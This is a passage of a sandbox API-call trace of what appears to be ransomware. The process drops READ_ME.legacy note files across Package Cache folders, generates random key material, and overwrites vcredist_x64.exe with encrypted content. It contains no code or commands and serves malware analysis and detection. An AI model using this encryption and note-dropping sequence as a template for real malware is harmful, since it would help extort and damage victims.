hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.798] GetLastError () returned 0x0 [0115.798] SetLastError (dwErrCode=0x0) [0115.798] GetLastError () returned 0x0 [0115.798] SetLastError (dwErrCode=0x0) [0115.798] GetLastError () returned 0x0 [0115.798] SetLastError (dwErrCode=0x0) [0115.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0115.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0115.798] FindNextFileW (in: hFindFile=0x5c6058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0115.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0115.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0115.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0115.799] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6098 [0115.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9088 | out: hHeap=0x520000) returned 1 [0115.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0115.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0115.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0115.799] GetLastError () returned 0x12 [0115.800] SetLastError (dwErrCode=0x12) [0115.800] GetLastError () returned 0x12 [0115.800] SetLastError (dwErrCode=0x12) [0115.800] GetLastError () returned 0x12 [0115.800] SetLastError (dwErrCode=0x12) [0115.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0115.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0115.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c62d8 [0115.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c62d8 | out: hHeap=0x520000) returned 1 [0115.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0115.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0115.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0115.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.800] FindNextFileW (in: hFindFile=0x5c6098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0115.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0115.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0115.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0115.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.801] GetLastError () returned 0x12 [0115.801] SetLastError (dwErrCode=0x12) [0115.801] GetLastError () returned 0x12 [0115.801] SetLastError (dwErrCode=0x12) [0115.801] GetLastError () returned 0x12 [0115.801] SetLastError (dwErrCode=0x12) [0115.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0115.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0115.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c62d8 [0115.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c62d8 | out: hHeap=0x520000) returned 1 [0115.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0115.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0115.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0115.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.802] FindNextFileW (in: hFindFile=0x5c6098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0115.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0115.802] SetLastError (dwErrCode=0x12) [0115.802] GetLastError () returned 0x12 [0115.803] SetLastError (dwErrCode=0x12) [0115.803] GetLastError () returned 0x12 [0115.803] SetLastError (dwErrCode=0x12) [0115.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0115.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0115.803] SetLastError (dwErrCode=0x12) [0115.803] GetLastError () returned 0x12 [0115.803] SetLastError (dwErrCode=0x12) [0115.803] SetLastError (dwErrCode=0x12) [0115.803] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x668 [0115.805] WriteFile (in: hFile=0x668, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.806] CloseHandle (hObject=0x668) returned 1 [0115.806] FindNextFileW (in: hFindFile=0x5c6098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.807] SetLastError (dwErrCode=0x0) [0115.807] GetLastError () returned 0x0 [0115.807] SetLastError (dwErrCode=0x0) [0115.807] GetLastError () returned 0x0 [0115.807] SetLastError (dwErrCode=0x0) [0115.807] FindNextFileW (in: hFindFile=0x5c6098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.807] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6398 [0115.807] SetLastError (dwErrCode=0x12) [0115.807] GetLastError () returned 0x12 [0115.807] SetLastError (dwErrCode=0x12) [0115.807] GetLastError () returned 0x12 [0115.807] SetLastError (dwErrCode=0x12) [0115.808] FindNextFileW (in: hFindFile=0x5c6398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.808] SetLastError (dwErrCode=0x12) [0115.808] GetLastError () returned 0x12 [0115.808] SetLastError (dwErrCode=0x12) [0115.808] GetLastError () returned 0x12 [0115.808] SetLastError (dwErrCode=0x12) [0115.808] FindNextFileW (in: hFindFile=0x5c6398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.808] SetLastError (dwErrCode=0x12) [0115.808] GetLastError () returned 0x12 [0115.808] SetLastError (dwErrCode=0x12) [0115.808] GetLastError () returned 0x12 [0115.808] SetLastError (dwErrCode=0x12) [0115.808] SetLastError (dwErrCode=0x12) [0115.808] GetLastError () returned 0x12 [0115.808] SetLastError (dwErrCode=0x12) [0115.809] SetLastError (dwErrCode=0x12) [0115.809] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0115.809] WriteFile (in: hFile=0x66c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.810] CloseHandle (hObject=0x66c) returned 1 [0115.810] FindNextFileW (in: hFindFile=0x5c6398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.810] SetLastError (dwErrCode=0x0) [0115.811] GetLastError () returned 0x0 [0115.811] SetLastError (dwErrCode=0x0) [0115.811] GetLastError () returned 0x0 [0115.811] SetLastError (dwErrCode=0x0) [0115.811] FindNextFileW (in: hFindFile=0x5c6398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.811] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c60d8 [0115.811] SetLastError (dwErrCode=0x12) [0115.811] GetLastError () returned 0x12 [0115.811] SetLastError (dwErrCode=0x12) [0115.811] GetLastError () returned 0x12 [0115.811] SetLastError (dwErrCode=0x12) [0115.811] FindNextFileW (in: hFindFile=0x5c60d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.812] SetLastError (dwErrCode=0x12) [0115.812] GetLastError () returned 0x12 [0115.812] SetLastError (dwErrCode=0x12) [0115.812] GetLastError () returned 0x12 [0115.812] SetLastError (dwErrCode=0x12) [0115.812] FindNextFileW (in: hFindFile=0x5c60d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.812] SetLastError (dwErrCode=0x12) [0115.812] GetLastError () returned 0x12 [0115.812] SetLastError (dwErrCode=0x12) [0115.812] GetLastError () returned 0x12 [0115.812] SetLastError (dwErrCode=0x12) [0115.812] SetLastError (dwErrCode=0x12) [0115.812] GetLastError () returned 0x12 [0115.812] SetLastError (dwErrCode=0x12) [0115.813] SetLastError (dwErrCode=0x12) [0115.813] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670 [0115.813] WriteFile (in: hFile=0x670, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.815] CloseHandle (hObject=0x670) returned 1 [0115.815] FindNextFileW (in: hFindFile=0x5c60d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.815] SetLastError (dwErrCode=0x0) [0115.815] GetLastError () returned 0x0 [0115.815] SetLastError (dwErrCode=0x0) [0115.815] GetLastError () returned 0x0 [0115.815] SetLastError (dwErrCode=0x0) [0115.816] FindNextFileW (in: hFindFile=0x5c60d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.816] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c62d8 [0115.816] SetLastError (dwErrCode=0x12) [0115.816] GetLastError () returned 0x12 [0115.816] SetLastError (dwErrCode=0x12) [0115.816] GetLastError () returned 0x12 [0115.816] SetLastError (dwErrCode=0x12) [0115.816] FindNextFileW (in: hFindFile=0x5c62d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.816] SetLastError (dwErrCode=0x12) [0115.817] GetLastError () returned 0x12 [0115.817] SetLastError (dwErrCode=0x12) [0115.817] GetLastError () returned 0x12 [0115.817] SetLastError (dwErrCode=0x12) [0115.817] FindNextFileW (in: hFindFile=0x5c62d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e497c2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e497c2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.817] SetLastError (dwErrCode=0x12) [0115.817] GetLastError () returned 0x12 [0115.817] SetLastError (dwErrCode=0x12) [0115.817] GetLastError () returned 0x12 [0115.817] SetLastError (dwErrCode=0x12) [0115.817] FindNextFileW (in: hFindFile=0x5c62d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0115.817] SetLastError (dwErrCode=0x12) [0115.817] GetLastError () returned 0x12 [0115.818] SetLastError (dwErrCode=0x12) [0115.818] GetLastError () returned 0x12 [0115.818] SetLastError (dwErrCode=0x12) [0115.818] FindNextFileW (in: hFindFile=0x5c62d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0115.818] SetLastError (dwErrCode=0x12) [0115.818] GetLastError () returned 0x12 [0115.818] SetLastError (dwErrCode=0x12) [0115.818] GetLastError () returned 0x12 [0115.818] SetLastError (dwErrCode=0x12) [0115.818] FindNextFileW (in: hFindFile=0x5c62d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0115.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0115.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.819] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", dwFileAttributes=0x80) returned 1 [0115.819] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674 [0115.819] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=455576) returned 1 [0115.822] ReadFile (in: hFile=0x674, lpBuffer=0x2e20f20, nNumberOfBytesToRead=0x6f398, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f398, lpOverlapped=0x0) returned 1 [0115.938] SetFilePointer (in: hFile=0x674, lDistanceToMove=-455576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.939] WriteFile (in: hFile=0x674, lpBuffer=0x2e902c0*, nNumberOfBytesToWrite=0x6f398, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e902c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f398, lpOverlapped=0x0) returned 1 [0115.940] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0115.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e902c0 | out: hHeap=0x520000) returned 1 [0115.961] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f398 [0115.961] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.961] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, 